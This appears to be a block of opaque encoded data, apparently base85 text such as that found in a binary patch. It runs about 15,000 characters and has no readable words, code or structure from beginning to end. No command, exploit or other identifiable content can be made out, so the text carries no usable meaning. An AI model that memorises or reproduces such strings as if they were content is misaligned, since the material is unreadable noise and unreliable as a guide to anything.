zzyA6e==b$7?c4WNrA)D&LJ2JP2Zsh-CU|;X{wf3@_g8CJkau__Hq`5=56~uy{or`| z`QW`m_xYW}Ufy>|+fe)PfA){`^%5@WzbV*%s*KJ*qKSt`DkYjgHje{@wNFZ&xq3h>- zQ&N_qGhd|FhGf5 z%^(b~mqvAAe@ZR%X^on@I*I!+``dBuE8RcaJYtgCV=WSRGN-Ig=s;B?qQ0!;MKXOi z=UST9N1~&r3uXV{^U{*<8}gDgwksLEN0F8&)m^VePZ)k6mtlic_!F_L&(cRse0slS zvrhoWv@Q7b#V`ayTTS>^BD4>iguKS43)#CTJHM|I9zW^?S!7M|Wo*6_*JLE zK;V^|GQS5;W&Tod20tr^uU~UzLp5s)#zl6a%px*pj>KXYxVSqxeRY%n`{(~3E1+h2 zm>??2Pls)}4s%;&xii6xij50A&ajQR0pB_m-<63BQeL&V!eBozjrp)V z4C(phjc=@xm&;1}7Ty!3xCu6MI8;|t?GA(7NL1S@wOu|Va{B%)QkRQEDViN`RmHDV z+lUC^-O(x$uOIWBN_Vc)sYq+P-H9KV%6*qginJYW{W%YX7W~?Xz7Q9FlGjPGT>Z5% zu9C?54W6Nh8|5~*_J5(I+<1i!r4ZK7mU{b4ylyLAu9w1mz|Mn{uY5OJ4oUiGi*Cr5knRvb0Pjry+@GMA?}6k*8fYTb)GAd0z>y zmPWE*KeWLIDaAKM$e^G&&iJyE5xV_%Tt<#z?jDO!bZ)17&hM^)l@S>HbtS1zGs(n=Gx`8Gvs5GHho&J z-D-;3;nX<9kJpe!W@3c&WywC(BZT$0Rhom7#-+p%YmA)q#iI-|GJ%jzly*64F|Z3W zK;wi~#@%xY^x-sM6*gWGr<^dALdj1_9qlG$oUzWSUNs;2q!edEFQzYUhw~g5OJI5> zOoA9MqHo!tBik$c7-~&yIGzz=e_vT6)*z=^FPYGoVwRv7a1ZmYR+WModfYdfO!KfI zZ^v{LN|ISroL?bEWLK;gY%e0-`<}%~2JZPi) z8_I{DF?9AsC5$V#4sA8^*Ka{qe0l`iX`sh=X2MQrH#Xrpu?^5Ts7lF-MaHB$J6p^g zlL#28PZQXUCqG(}1mtnsv25~a#Pc<+#k2D2$-IiNUejEe-RW3pl&pboU}J6D5C0($ z(tZY8s`aj=Pu3@`zk^xU#WmYHOWX&;Sx%|4ElGN@7kGt*Yszzge&ak8Xxd1BA;Ig! zF>kgEh<`NfHU$*GG@X3_*}=mRdm?1fjiU?B4mZ~76af)yQgd%CynipW!|^VRC+j4MM8F5oI9`9dlg-d5w3LY=%t3MbX#7Q2^?1(l7Yn~ zDO6nq^uLtDTx9JqxAJSRhLB_D*RD~$Z^`sY^o7v88~t*Qql&5r=(TJSZro%N4=GPVq^8wmoSWMw*&DMc!82?Y&55sv zgO8zt&)Em^=N76{X}e9z=W}<$g4Hd&e3N4g+p115`n#5-g;JrmSq{wqT8rb=7OE^q z>Lv4DC<%6IlkX?f-g{U+{gj{~UBgzTqoLHExcdqBIG|Mp^I)VN?8~9HR*$-E7V!?e z^lJTNf^T!b$`_7j_o~q-C*j*P%~Zm-ZK*kjpEOb{UfwTqPH>Eykq;>A+3)%8(Rlws zKs@J};&N%cnx~9rfGpE&%2CHZ<~Zu*6J9-*_bw$ZqVLlbn3f)!G`h8EZvZ7a;`mLT zMjt9H&k#G@=-pb|r~#&8s5xiQk6QdjYW#uBZcQKAcnz|0_fiVY&`ZgxWJU_BMW;r- zjcX!}L!~aE2D} ztm7z3m*XgTFF1N_-;a{-1vu&i#weGRUynGD%)2Jl9$mW4UlQ9KF)%69R|x*ujR;l@ zYYEUhhCfla7LC!^#LM22*Z=>^a;Av*pcrx5CuRJc2GZx$m-KU~F^25m1)IueX zGt`n;}C>>Ey&sRZs%v5V7iv5knX@*-+e?KG6e%G|+?;oh& z5xf6>Zu)&I?eAyAogcvHoKM%FQ4`Esl9M4AK~tS%FPjY0?1f}$y8%Voy?8QzV@Voo zQB7R`vt9&&xH~eguykc9w3g3IiTfG!ORSP<+LGA8YoAeSAqMh3@~T7;2;DmC$Z45A z%~+lWH$WWpdSG{-E`so|Z*O=W$ughAPoJ!s7z8md`X7|RN5gscR3jz1zX)TOULq*#P4qQ zkn1yh+YRd>k*Uo;&(je*#=N0YY28hvlaWeEHjco8cY|JJY2!_8<9hmQkx8rDgm0%) zbo}=q?-0`9c57J7kuyhM$fsHS?lJ{7YxBRHCa4j86H}TJMrx|WL(Lfv zIsC-M);*nN%w@!4LMU%Wjd!RHC+Wd1B-#^voRMe8coA`GZ2P70usjU z64Qa?gPh7>bvhG$d3O&?nmy)Mz-QZVJ{lJEi3|q1hIpn=FEFWsBv(CL8=4A>4aWNr zQ%RfD(NmUb{4ekXNdQQy_qdQSMbwdaZ;qVE=NEPLZ7h)Dw>|6_X!J~4C@U0g_oRiPOqtK zg$aMyZPvA*B_&s)Utn!8t-*-65dsSVZ)J$1`ijEmLtqOjk;TMm;I_mgB6ws6qw)#6015GO(;{S}2|>2$&*56tR|zsfezi%l{drJu`F2E1 z%#r-`XZ}`)2%={1@eW1^#eou&!sijS%e_)II9E{=_t2cvWz8l?P$j|OyDN$?a zPY9^}WpDM1QQ)q2yje0swAY^DWkXfcE0(F`xxm^q4YJR$_yFfAbU-LVx;27kW=I^i z!ouHVcxF=EfhexC-H=8hev8Km&lD<2nG@ROm}2{d3pLuXw+8Q{md1y}2NA}z>ARSu z(b>|*?)iZbXRZo46*M=c)K}82d09etF6YG2CCDP0Tyi<{11&cWBv$2GJ6lFQSsQCs2HP`7!a2b?Vh~J7p)h&|E922YvYB4(j(|HKqh7nm>>zcMisiH9ec{tp%7%mK@~TytY49Ojml849POLB(g)?lBvHS z0?yBs<(mrSeFWDz7>OV#FV@Iw$ZWtrcwb}g{4T`wZt_}OuZnIMC9x2!{AeiPxBlt zEQGJb)SVk|$?R^5XBw(f%E6?81&eDtDsdJOU{WE|XHbN{oYrv+WptmuGcn7}m>^1P z#yc=*rk+9~pn-FkpoUOHPOB>wc&k!^@<2B!BS~zYF<9OsE87vZalBNZD{>-~3HB3y zQc2E0=#*oDCD>cFXnd>M{lv%hUOXVGh~ld=COajYF2ytWS4(m{eo~*D%|Y)eQgF#Wc*YvwNZgp@Nh2}yn}Pa zc_O&u07G=SdgSW_Mm>37g?tBqMgjrPql-%&hIp9AE%SPM%%aLGlM+5-xZ8iH71|=SIXa$6 ze7l`E=)CF9E?14Upw3bAEAK~uUC~Rf;?#Ot`B^3m)3kN&E%Lygy0SgJltcpamyOI{ zP8t9sLogZ9qbk%4oLtwOa*`?-m)6qlnvw5(m|y*SMxvK_Iq`YY;<^n_P2;239iALy zREeq;%tAe^M>2iYc~Nc$W1WuQ{1^ePotpDq)0AbBh^{;cay>OC@qT6TxRmF-dry~r zAA7;`9zZcYq&1^qy<3btOq}iUU-^&33av_+<@6|lmZ){P?+U3M6GMgXX?*$zrC^?< z+VZo~k#lT1(KGGF8GvKLlj5(ua2wKfo~bGL5OQtJ^>D0HYu+;^gTIMvRfNxCFH;)A=##r9+>DZe}TXkSBQ&`1<(cM~y6 z2&3HlgCC?aENDW|6x43|&E5X$8{M8}R3XH%C&%L&BC7k)F4LVzr=Vif$S`kxZ4Ps~#o~AXeJ~JbwrOdp4?;6eB%wOm` z+=V|^d*FuvA+*!OzKY-`SoxKKXkR4*;MigQgwGKIG5Q0c2wlEu_+QF#;#wp63+wgo zTV=bXX&TkIbY)hXi)E~Vr_B&2XNU1-j`gQ4#=lBex&a*eE`{7`Qmyy$R%ZIVGHW^s zW{by4dwv%vzIG;N&7&Oz{o3uaz&O2k`;OJLYHGZ3W5MDJ+S@-ne7^o?e8<$lQAxyr z%}ZZ^a5O3kp7-MW=kG3gu>mqU%>b~6c2uzvk=SuL9bDqp9$GtNGt&##Y00(FBYCV< zMF6z|pWZ6OBM`#IunFN|xx)p~1L*EHnCdVI$HC1*NyF15S$^=QA zQ3r!pm(#nO=y?|z4T82OskYEQgxR<$#2t#Up+Dhgl*nH`v~&yg$60cWbJsn3Rx;JF zLsZ^UCFaH%DyhuC=_+D6Il!43IJfZe9b8}JFM|-*LKKFd;;qAd&_jztS(5q>$yEV> zg=yYJ!9@ajN#$1lT@Z(p!}8!4kS$?Pk&kbE#Ihf&IU{mFBTH zTw%&XEOLSB%Si}84#oC&JUJ1US@3xH#9Fpa+< z?5!AXL%c-j&mxL=)L2vqPjZFKo#0MyvwAFMYVpq9<=s+|KbYcrGu{sX$23JP8Tko1 zOX|WnSY*sNYk|;ybqro^3lL9KT8jC{X~kQ(n<1vBo&c@OfCJ=rXlg&J*mwaggP8hM z#8s(iX=iSFO8uYa&*;9L(RRi0&*-zi5tF>uQLR3ocL5U%K@4Qi4mJIQBD9}&nC9o6 zLkFdwLX`v<4S$;M?no#qa8S_RZXD)h+pOp27U#fggOvKt&GDhLI#ix?Kyh0)y78*j zY_H{a2v6gWQK7|Hx2w3Nr;uF7>QL9k_i?UQyI-`LfLM7{ML%d&k_Iho9&agsT zcBa!Np*h;JM)h>nn>-EgOm4$j-sc08;)q0C4M-gw${*gWkI^@qPA*YMR0=6bxoVIz zc^={x;kRVS+6P8CzATImyMxd65K2(p@6>4IK#~`F0OSKC1o~ia@kImUgb8y6Y3vkn?a#z9j%B(+x(4w-(=F`&cpPZBa8I1az)N z3o|}-tX?TyEfGyrf$esz#UuWwlAOfxx0=bkch}c`9M!09YbCdRHCkuajvRmgiQr)L z`~0q)sSc1VtFdDPK@sEwiDKNUZK@O%T-0rOTCOCy-chH3CJqL_I8NTw1K0Z)>0Hom{I)Nt@d- z26-Od($s18(GnydxNW{$6IT_bMJUob^Fxc$DDGp(3&5h_G+uRyb^vNNS}FXV4n-U7 z$*?szDZy=qx=PEH+m_zKks#E42P@mku8;nyT?_(BkTS)`toY}7ZakXPJH@c2{nWnj z0G=wsCy|sdSj4@K)+wEJ7j#6;=&CnnlYNw^BlPTOx&DQPNlQo)5Nm-0!a}jKxyU?M zLHk!)f8MRM7&*_bR(-FpbET9QgBCZ#uQh-OwyHH(+rRdRuX2H}aap8H+WH3CF>XB( zB%!V4JJUMG$8FcXzc~)=_uLTcNU&T)?Os*X`8?MZ#jGdJ{=OJb!J4y@+mh$xS##u? z*Q;01Zf%xrZTE7FD9>BhY%-NfMl9s*4$e4nWg$^(5=iRf2DS|ZDOveGA#&c)^eZup zIhB%;gZ0N3OV_U2S=E+_UBat7clnklv|U{Jts|6|BGX4|Yzrb;MhmYB!2J^|0o_o+ zpWX@Qxmg5c5QC_eVaddtu`{I`i}e04qGZg8-N2rUYgry-$NlDA0^f%1hc-E%FeL7c zb91Irk)|x_2nOksaV|(U_q@PqO=ppV?BDZn!~_bMDqe0RSDXTO4|bIJMnU!}8kz!W z`E$IpVZCd?ya}~lPm>}i9elaorn;Z-e6lsb0+5(bpoHQ#)ri>-eV$TpjUsB){4Yygs+UgQ! za@pBv@58?9Qbsz1)R7ocm%_u5&U&v+9dul!AGnozQ6`2@MoJwWsp6VkgPH8#Ww@5N4*2@mNYRXb_R!AJj>% z!T}qzIYNvu&QQF?j8u|ryI@Dk?^*YJS7YCE5E)#RQcqIma=tPKa2^LPm41HwSn}^$ z05=AsZMht{&b4c_>Yri_DlifOLK#6%gUtC+tt&4oI|Jt= zmxb41({e3Cg+RInIT9scs2V)!L{57NF9m_zXIK0$*OY8j5IH-0ND-&zy5}F(T`FB1 z0=GGD&B_H!?7%=3(`V z2G4hqcF;a#h)e4@J!3tR=p_vM%X(x?O`naVv6w)XL8;6^^U!;k5&s=-c|9_G&~TPD zBFhFrP>)mg>Wv!;;I6~bV&X^M$RG7T;(pgBHwMn>eX@Yih5k3|*bhceG!3w_6MANa zw+*=3wdO4D7$h827h$b(%l+L_#u;wJOiCgzi@VZR82B4`WwMO;?b@qPT?$*C2d1nU zPS-2f>6k?T(a)oK`U_>%`XDiTGlPjc7;BKfq|E<9PR^Wdt@Evh3NC=7XSjt;45Q)5mxo@Yde@eJ8<e# zsqvzN*1$>3MfN11O#^8VS&ibz8hBW3qk5*XNZnDIZ0R>NWJJ zPmc!kZo{^+OSD~O?uI~HVr2Gz!H`=7J`RoQ4 zUQ(Z#A^IHKUpNLNZLcW_>X#eo@HJm?0yX6(R32}iY5txm1yDp0FQ{K7VCb5pM%TR2ZfjS$xuA8=y9MVNGkbU&kNLe> zT-#6S@YB+SHQ2YujNFC(^bTJKb{;?Xhq<>z02Nf4ZJv)jkX)5_ z%ms;nKR`WHrG~nveOZ40VNY=9kv_NiERr+&>Nb#0c$olI`Sig>1sEr4*-B|qgd}FhMklD@TrYlf-`g^z6VQm{Hcd{pb{-04==9Gq%G8NDwFC>)~|Y1WgP6JI>% z6%#JLd|>d4Oy9N{CFamQ%Mou%I@V#h7!r!e-Kb5~sEHI3nd)5IGZxLJnc`kcjmES6)0}$g%(on!&TdZXsgFTU4Mm^& zbFA;XGoG*Jw?syKXzSAn01Fgi!>}B_CzM4{h++EFtg2ENryiRwe@RpO5;>_T5Hv{$ znhm3m^icJ?@D;~V)&`ts#v#ocOkC$iS-nSsLyl<_gY^Y>Hg_&=uvceq+UmWRgV>z@ z$E<0PV-Bp4RZtckf3$^$kEaudwhBh7M=wn;$bMmHX*)9XKvH>w6?u4gH14g@hhgUE z&RZGT9{T209Xqh4Nn9iIqdvEeqY$3_?v(R{iQ^vEW1Ee8TS-MW1C2u3+Nzo!Y@1!o zp^zN73R+dCV0%DPnl}DYij^#T5XOMAnlzcd&*0q~YYE9aZ?e3Wf$A+?6;(~tevD>>c`@;2@5$UW znccLXEm3(Ugq_y&-6fKVao@FUab}Z}0U;7!0B>=Sd)5rH-%E2JN+eNlrN~A|xqI}R zVW0%fduNM_rK)D)ssvUqGvOXRQO%ga|I&L>(Z7f3XoR5&I!={b60DyFcLr(3>DE(C zTknpjAg%h~Ycx>Sw%mKNX^UN;@hef3fmN^nHNfu~-^xL*d^F-1sz0ADlW6dH62^iT zi5keD5^Yn0YAU$*%yEztNuMl%EDE(Rwax&+?sjB4cjeQ6y*?ZYZ|Qp@?YPMSB8*k0 zcos_ApkF;S)Jh~|!t}Mkm~!~~_#e-l%Zvyj^|c$lVhBeaT-7mD5C!j=2dLBbv7$Y8 zp}pWO5g|~Csh4jaoO7F2ZQCsSBY)NY{i<~8=%er_O@ycjpbd1 z&YvYqc+|NM>E=$%c*hE=NZdCoLk?uCf`zKh3l{HlT|DktI_4c}<5KUyCeRBp9%XXBc)ixH4 zSIHHZRZ@-_4m2JPH1j41oP)xTC0_mV(mSDH=)6?_XeP$pL}B7Cj3m$9r{6SqCfmZF z@U|+e<0{T=)OyqSE6>SHDySTtq0sW*XEQ2wdbPt8H6y@)(l zvf-a$C`WP67HE2y<)PU{Se3jG;Oa*v75?DwhPdQKou~Uf8kZ`{%<04sLd{dh%6lV& zy7xEbCVj*5Qmmi56MxzzLaA1F%FL_iIIHlD{mz#A9g&8C?U+LZ)qoHBkbTDjzy9zV z?~%GA^U6m#3#DaIRk>6WXnc~4(-WPzH3U?Hno4braIQK}B>Wwzlj4*F$i#Q;1 zj-0dfuyuX5H^YRSi8Kme&O1rTy$o^{G=CJb)hDaiulVoXXuz@#*{_gbX@yen@kvf(lvNhH+v%q#x%^gtQO(+Lvk{BJ2#j zV=Lu>W)h#LQyCX4tn7Xp{h>9!1!?Av61+ZLg+Pq+6Qr<-6-$E~Vo=&k4RMbNfos~e zV)p@==a(WI-58MtID7J}-X$#r_x%B>$C`(jETe>9J=zpVMK@5Aw7Wi4n}i9VpO`ic zA5S)!|IU)N5eF`b`?kSQD}Jv1 z;NYCtU^zz=v4>e5zZD^;u9G&Wizxr#bl@_(nz+sB|;L_^Osq=@Y#t z1B*FjokoP6O+U_J*dAAwq`|%L1+ARvNOJpZ#Y`zEq(g3R`m^4VM}lkPsuNBS#-b(y zs}`NWb+SZXCMb%eX_q-OD(LTWXJ%21!qM5C2oHf`fAFaHh;H)>a*Z?RF!5y5e!L6g zDg9&ajPgZ`urL0GJ=-9a!-|r6WwPX307%#dm%uYn$8z^l7F0oce5%w}A4Eg0t)KJT zY)SpqE2ni4+{tRF{eHp+NF3RCINro{#u-uqs>=(V2F?ZXX7m?mjjTWA8|G&Bt4I^w zj7dcEMoflc(S+5B+oGBuUqb5Sib-F!`9lSZPE_ALA=Bw`l?nE|#mCN-CU%q!3V&H_ zWL#fL?ln{Qmy=EL=vu7B>PwTM+?(gWnIe?JRI+qe_vDb)#=xaS0-+6#gQkEVIS4^7p>XfU!X6dn-gGzMmV7# z62p15C6ZVR<8Gkwi1GRW-q_1+Qk&RTwR%g-mYDMTE~f-@&^ygvAnEKgc7UCyb|oUl`27A^I7`xf1tDWk1v)!k-Ov4RDt;?8-A9G{*os4jeY zeR;l~v+yhhKIIyKYuo&8Ja z^`L<3Zd-LK)qh|r;jQJ6MTP0+t1226KprRF-KCnxyqncACjnsu>tm9XTDC~e=r<4n zXlT`8f&`ZcaCPBoR12~_;u`!Jz$zN}4aqJ8GC80$lSt$>@5QV=P0JAEA9U)lb1tfc*+iOBV(^(=Zaw?=7ehToU2qzNYWLRu!5Rp*8p_900~@NG;qqlmavJ3)Ec?__n3?bp1#%7ibZ zWs7Py|0HF^?ShkG@odNTgE4VDripvPT8bb#5%>8TT&Kq9e=W7P*n*6SLGw~zL!l>N zeL?hPEEnio1i{CI1qEgNYbLDqQ>|z6b8cXEAQZa+q!@{5m`$0onVuCuw&ct=-QH7K zNy`^c9c^Ofoo836?m3)!i)8hSM1V7@R`5j_#Yog_;^WLh!RRX`m0r<$N z$hih*jE(QnliZSM(NII*RHm*DZlx_fD*#X}GJ0e#cXM}35)|yc20kXB?Wn!T%Sh>- zHF>6EkgoXoPKo4bWb{+S_gSp)%CE?Z{o8|T)xA@F@zoAv#< z^G{gtfo+)5N0CSnMM%7FG%pf>aL4>Hzdp-<@N#C*#ypgfSv9bF1aY_R7HKmVc(EK= z#vAVMP>5uuRW-d=2>%civ$hFD`pk5R1f$+ehP6HgLK&uah>gu-OB3vIIpky^ar3-3o^?7loxsR`JS=>vyy$Jr84USZtp zB^S79@Yu20J>x!@8u;^oB<}2E1E_uin(BdLm+{>ytm@Z3!du!kK-s_Xa|S7)IKMoz znuB71QW)bcMyEuY{8yG>?bP+@FYp=2X9rUeaNUxC6!`OQ0v{oe@F~SHeYwCZf^cMqBJB@ufJ8B$0gM77QA+o$1b4fXoLnPzbs|_BES85U(r+2;NdR)w z$o@7E0=F;*cL_cFSYnpaTrsne7}sOv609D}gRgTFuLj5R9?vi>H;(YCul^*Ss0FH} z10q)iC7?8_Vn?B3#KLEoxE5H?8kf-F$S~<+mYg+F2m_!@HK@30ttS#HEZi3h;j8UB zVgnw?z&XI0Y?Rw(;^_y`NbyhTAGI4d9SQG5pe+a|aPaAE0VAk5-_@s0FHP%-M_Ntn zr{?ZnN9>+jT7sX$%j89S$E)+ZSRYp4Nb($OoZ#cM?0ecpv}r*3qG0S>YP}z!E16cf zR0+pIw*d4C1|OsaNnp@^1#_!cQW`UFEf2=COs;TZefHouVRJ<09l!r6a%)pH z(V6#Pulw=`Snq6^7{Y(gy~P>m>2ef1RX!to1NUiH^CZ!prvNdEw3B)7Pw1oqz$772 zWc#)T2z0p*97rzAp~MH4>=L2f@Rq_j2~O~m6pvGq)RCF!2ZA~k>lK33C^=|&DrP2` zYT0naf;C%Qa#B+Q0Mx(!UjWI(UHSnlq!jDI4Uj{5>I`JMZxHLm`?!>FYb)Z7Ki~oF za+yvs^O(O2_c+Kk6N49$TcgkNM4@bHT35w)Ow$@kJ2c{~0f^gDWp)S4yd2mVNGZ*X z1_2QGZVnv4Hm$cCpP(+o++XYewB#ILA=wpYxXxQ>o19VwpV4f?%*eDPEk3hnnx|>I z7Ig6Ms>fCxmk3~J^5e`&^rk)6nv!-4T$dsnEdSB>McmJ7d56^G?2Lama*8arvwE(o}QF~q$7Z4SR=cP zA26NSUh)wscwK^O`mEVkv(_yo=PGh%VneFya6zQi0v<|R?#}Qtk8WPFI*%r#A43gv z8Khq(+)So2hw?~r1_@C-rj%Ni$ko(J@cnK^Q1Pt(1ufcahJS7O7_eQhzM+S--XJfg z(C|IFpEnmCBcBgwvo=7IRhg}O;b-zpE$jucrvhtane?fTyP7u?S@SjKK@tJ#v4q8L zjZ1r#hlBxa**Q=~frQ}Hly=pSZV7-ZBwiOyboUpjRz?W)YM&9|dfuPio?a>I`Z1uyrr(=e{Tay8c zou-SRJPJa;TXS!uqgsFD6ls-YIz_C89rO?=L7zLDTaTI=CbWZyZXRBm*)0DMXe^@X z&6At5sUZ5b7VniF@JWcIc4F976T?s2-upq>3Mo&;6R$3ffZU+e;z~-IcqY0fCdgq0 z)*(^Db=44E+{_|v1fp|d5(<#lJ`x)}=CTAXtmH_N_HJ#X#_mZSV`d%ZBd%=Vdv=WX zrYwpgSg@y*y;>CiIf3@b{9uX~(S!F!Y=~3Gf05-s`YIpI4g}_Xz%=3Q{3~q_w@h-r z`R5qC14ysnAn6*SQBp%OalZE?qDd9c4!+8v^N;W>z;-%)=9>>~HGKV;JOvU20Tb~M z8F&ksqQmL2t2H1z&@H#hqa&QN5xd(#&0UFP_AP(pfHX*= z+=x_btp+~2flfb5mTe)PCv?FS;4KncYli{c|JdbHD$~a$sZi_+=rSJPXTG^H`DQL1 zwsrwK`xAsCMcTNDBPfSOG#0>E znZ8~IHUL{6Ypq_eKL{6W0=^zn5*{Hp^Us0W@BJQ^5-u=8t}OW&Y?T-3>zJFo)bexm zm!uhtqhN8*HClM4?}l}fBqpvZ8zgg^Qy&0khFuiP@*``T#T&~2tFQt{GJRx{%AX7G zem1Tnb|%d&d`Q{pIp8i`lCK96UFjvqPz6B)2btW&wTb!s^Kqe9mNwljf}Xe_P@YuW z=?}98agXRj;GX3PzaHFD^uvcFmugCt2LszzBq7^_q>w;4%1BS(V%*!FA`)3AsLv#Q z5gFvS0X8WmEtrxDTy$?>!Ay1j&APzWD;&-CkC|jox#>ArO1z}v%W?*MS8UC7S7Z<> z!KSV>+AA#~K7DT6%-mw^8T<#7wS7Q!*RlYb0DPdC^kjkzw}TV7*yz(0RPD8J4gN-Q ziQv|H^6EwY8j3I>w&uCXd^);^Ff#Whl}xrdr*oBS7>o2-rMMd(OW>g6qF-+0TOCUv zkG;07w{K*H7aZtZcEk?{kFM^!!_f$BsQfLzf5XyVP1%+!W!q>M`~KZjs7to5F+SJp z;<{67-TcYe0AAhRHP;U>rwGA;gbU(}k?Vu-DRF(*H>0LdQO@S#dKavqUYy;`yDy0P zWCX;PZKxW&vtUiu&>ZMLkQ3*+k_o+#n+`%VN(S$AzlQz*T{M(9BPyNh@^L^BA*+q4Vv! z3!&FhtSpgy*iDy(+bakmw44^8ix|gIbH&<+FMt^r-3KVZ3~1?}lZ>0oe;TUi*4~JJ z%C^Fck{N=ic4;gQIMwDt zmlf$$RJrEEW8J8UH!EjkR=FR(1bBS1tpKa~<=3a33za+eC-a_7W2mIZ@=NWLtL6n3 z!f~r4PQZQM=tW%DDytp2**DuhP9>$?=;hoPGE3$a?v{=zy?Rvw8&^mlJ=!4?R)2I+ zNhj{`Rb5I_j&o5p;5cSDw=%I0P2)Ez4KI&|3Ky#l4zPxUl+X`|G4(o+Z;=D+oZcI< zW?J{^$5wgP$lRHSqLhb6vloh3!+G^i+p%#EM^Aj$WAbn`E4d=pUHV?}sojy62*lJ) zw;GGss&RQKIdkcn^q1daW(Ks9c^QT}fXr_)cha_Tv3*%t?zeQ=2aVrda|M^J?8g(O z_BEjTe|#XN%~$bLlozOk%wP-a5y=y$I(8FRP7r3U`+sP_cV}6PDE}o-U)mjTONe?Z z(Z%M< zEfLeZTZX`tGX5X--u)lyH2(h|l}%aEwoxG~m93mAhY+?bwk=eck+US{b3+b;3T;ug z6Ur$a$jmU~%wPr+Q^_e_&P z`@=nfY&aBXyoun~&3}}P>3R0Xw3S^==+s;DI1r_Ee}~?;@NDoT86D+{MTw1Q>qx04+t!rZTz5 zXRRf@c{@}BK9*Et>f>d*{i+??1$haN42UFqos$pe1`W{$6|Msffg{tmx2^O|NhEu$ zeffpAn!>WUJ;j-l2%8PSEBJ~%myc_+Zu8!CC;Vlw$p8OTpywLzzu?D6+MG5c>et%kRH;5$Pw z^oBCCm!z8?!4c_dnD$2xt^J#g%Z<3&e2F$xOnI+pv}#TNT{FGLu-3A3bDmLGVAeI+ zD0?nni8gVJCX>WYW91+wVc{*xvfcWv^ThjZdlpxkwu#8UXKFh1^lD=YW~1M=wffr9 zaL`Rd&nZLD;zjz(-A=fc!}{f}L)RWWU@jquGq8tL7!??11;Zx=E0M{s4yPaOtin-7 zPEz;{K@O#^3ZL8Ah3a0F!+Pb-HcPXF5FIFQF}G;~RK$mjjBxx$Z^%DTJxsN0cof5c0EFxc?ZwTsy4hZESHC-HiySx!R%A6{tJ9Yx?g9oz3gNLS6FiK7Dy&c!Hr_D=L#OLA&rXwHSvm$%^L zZ44?F)JE0O%<4EntR97DbdMGw=wnrH3p7MGX6mn1z06a|r&Wh7yA>&`=hJLLpR#K2 ztyiq&u<)BtDE#60DgrYalfCYYo!Xd@Y%^bi#K;}1rSTRIe8*aIZ?;xX8#xbM-U2!^ zHadHv()P47*>Cn!VC!f*r)M;!i`luYvnL<9bCwnGce2---)c=K zs8VbflPo?5$qyboSw*S`#LsHe6U)Lsa8nje|X0)C~mgq_=LwaD-;$+yM$~Um}!74syi;5*%KO1jxJPE zPi(_5buT-c*{Bb`rdbVu{80y!J^gNh|Ex*Eb*NydV%<`%NWE7(%y)^u!bl!uJ_?;; zf7d<|$4yJA@ME?Gv5xr=(MgtxYRr1D{b}1s$j#(VXb~5r zxv^LEr6Xtmf3hZ2!mepW_HjahEt#g@+S}77p{T+* zM^3w>{_wt*ALN%|1J+vV`R{kOP$rq6EaQv6wH0KZ$`zMfeQXcNcrR`DU}R|<#9=$H zI!ilySH5@O9+v)+W+gN2^JLAWq-}`~nogf|&Y?|i_x*oLpN*23*mIR1t;!RtmTm3m znUWA0!(yLo^B*wee18u)ic^&lo$BXs*@hLK;sSzDhT3ajz;a-3LgoBCNZKfV3=rj5VR-%LvVIcsz5_oQR7PG|1^ zerr_pal6>T_6xqQb}oOIa2#&_^6Q_ce!Y-$>dLNN)>50Q_POjk>-#*X+A@2Up?Bam z-7u2VzY`t5w92(3&0;bmfF#;)Q}!v$pv{pWGjVgnNAE1Uoim4+t@~z5Q%9%&Xh4v6OK+z1UB0SPL(XPgf~w^U;=@P%p9U z{pr!n+hZG*bi68?ieYGbEt1+i7kwUdeh;hC_PEyM)g9UGliw-GM33~V5)&W6XqYB4 zNnZWg{VeCizLvuZiNs*P)uOEv4=oFvx}L?8yA@;04hx0I7Nhc$0aju@Npnb?l(g@C zb4k~t>uzzRgIRV4QLm^Xs5F`}LPAUK$>9i}a)77q&#WRy&;52C-xtj~AGaQDT6FCM zttl$8JXBFdggE6JA;z|okom@tV@1fGwuNo|K{#v&8E4RW;eSWxM|8c@0=k!iC28-; z%j>6YKhmMl@eV4MUOVyDEjcaTl(MHI!iAdkmKnbObuF2kWFoRL= zv$FxS0~FP|apbh_!@|q8Hi(#pgSxc$op^=4)&IcbEyBk^or9-L^~Tpd(|ZXT(@-~= zhaiBhBX%E*I}nT2NC(J8af0}gj$GA!H^0lEGXMYEO_{(U+4mgZ{)~n?(D_6OI0m&) z(+Q4r39~HNdn|N2L#pA+Z^Gw-LXE}PvJACN-5+O|+=;@9B=z=Wq(Y1!CrXVIOU9xwv9=SJRD?ZnV zURic~;^W38ek*!+xaTK==aZOqOqDh$^$5}pdZdWuUK8I+EBg^t_u`bmC`v zS_o$9Z&J*;PgxHTvpmm*f3$u6u6M5lV8)@W7z?^%P@Zb8oXbxNr07Cdk3b^}|6P9b z-r@w$fbH6sjK6&>$Nv+wkJ@oI#rxtl=TIx(=w94&#ySwF@D1=^z0Jod{Kp^);aqn%Ao=N8SY(R-m=FeWE0!W`(|qq4(O%{UjbQ2pk);g5eOJ4 zj&N=xQAw0*)2FpRh9hoyz6)Pi54C+6yJIg55qSdEQ)oD!HQo4lqg?xh>`iM@TJg|& zp%dUo2%|eB7%KtLP&&Q`?QFPoH})3Km(IQ4W6?LOe!skGaq!3nR4z7%%flHi1zS-U z&+hptZ{+PZ9f$1n(Ac;hok8D~jUgn@{ps3K^T%appQl5m>-^WBH&-agpu;?QaCTZ> zps$nR=@O<+5Lk8ICgDLvZMJ!JFKS^ahox<<0Qevu>}sy8U!XnTl>X0IfRbRN;dS1< zu7dgmnmFoX^A7xxnT0B6M}sRj%21m_l5-`U5vker*@W~}7vJo{*-zhv)SrwRM|#x; zmna#XxX3&JENVO)osspg*@Wu7D#>yw>6Fv$Uld(X^*EUh>>u||bF;u2qfCsV?6g6P z^z;73oTWu}*uc7`yZ#D&(P&MVY)c{zA2nXB2qm|(%fm0+%uAemvAch-7v)fnh>LoU z?=HmKDC_Zs8?HMYHH-(&;*GK~iW;{n&;c1a{OUcXH9s{i4PUKR``)@udUyk>cYlc- zTfytr{bbNNfzA%)TX@?>r*~Ah;=QK3FoLi9Ws8eY@WB33%6ebD2C$wr@JE5i2mkl+ zuZ4)C#aw_S9HrL)f3P>$O!~V65FV3$@D$1ZSr;=S2HiZ+Mnuc*xsJh=b389R! z*zcW))_uV`7jKpX(xh{v^5PL{8p5P4$4kt)HWE(5QRHiRNk4R%bs`Q`t{+l2+f3Ma zB-w96O%KEr6kg&pBTsTna8v&z*Lg>rrnw_XEnb#0UqeTfWQ47t zd|0noQ*JUMsLkL1O*qs{6;v{q_L=FzYUsLtsk+NQD-iuLj_r4hZJ}h%xi;{UiLjSZ zDt)6(&?u}5nVO*@A&Y)U&hGx0)tarYmcT@2&dvpx;Xxo-)pZx$jQQ9r=tuGwe&6I` 